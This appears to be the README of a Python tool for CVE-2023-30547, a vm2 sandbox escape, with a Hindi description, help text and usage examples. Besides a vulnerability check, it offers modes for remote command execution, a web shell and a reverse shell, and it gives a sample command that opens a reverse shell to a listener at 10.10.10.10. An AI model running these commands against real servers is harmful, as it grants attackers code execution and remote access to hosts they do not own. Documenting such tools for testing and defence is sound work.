
Tool for exploring CVE-2023-30547

vm2 एक सैंडबॉक्स है जो व्हाइटलिस्टेड Node के बिल्ट-इन मॉड्यूल के साथ अविश्वसनीय कोड चला सकता है।
vm2 के 3.9.16 तक के संस्करणों में अपवाद स्वच्छता (exception sanitization) में एक भेद्यता मौजूद है, जो हमलावरों को handleException() के अंदर एक अनसैनिटाइज़्ड होस्ट अपवाद उठाने की अनुमति देती है, जिसका उपयोग सैंडबॉक्स से बचने और होस्ट संदर्भ में मनमाना कोड चलाने के लिए किया जा सकता है।
यह उपकरण एक सरल python स्क्रिप्ट है जिसका उपयोग भेद्यता का पता लगाने के लिए किया जा सकता है। इसके 4 मोड हैं:
check: जांचता है कि लक्ष्य असुरक्षित है या नहीं।command_execution_execution: टार्गेट पर एक कमांड निष्पादित करता है।web_shell: टार्गेट पर एक वेब शेल खोलता है।reverse_shell: टार्गेट पर एक रिवर्स शेल खोलता है।usage: CVE-2023-30547.py [-h] -m {check,command_execution,web_shell,reverse_shell} -t TARGET [-c COMMAND] [-p PORT] [-i IP]
Tool for exploring CVE-2023-30547.
options:
-h, --help show this help message and exit
-m {check,command_execution,web_shell,reverse_shell}, --mode {check,command_execution,web_shell,reverse_shell}
Mode to run the tool in.
-t TARGET, --target TARGET
Target to run the tool against.
-c COMMAND, --command COMMAND
Command to execute in exploit mode.
-p PORT, --port PORT Local port to use for reverse shell.
-i IP, --ip IP Local ip to use for reverse shell.
python3 CVE-2023-30547.py -m check -t http://url.com/run
python3 CVE-2023-30547.py -m reverse_shell -t domain.com/run -p 1234 -i 10.10.10.10
python3 CVE-2023-30547.py -m web_shell -t domain.com/run
python3 CVE-2023-30547.py -m command_execution -t domain.com -c 'whoami'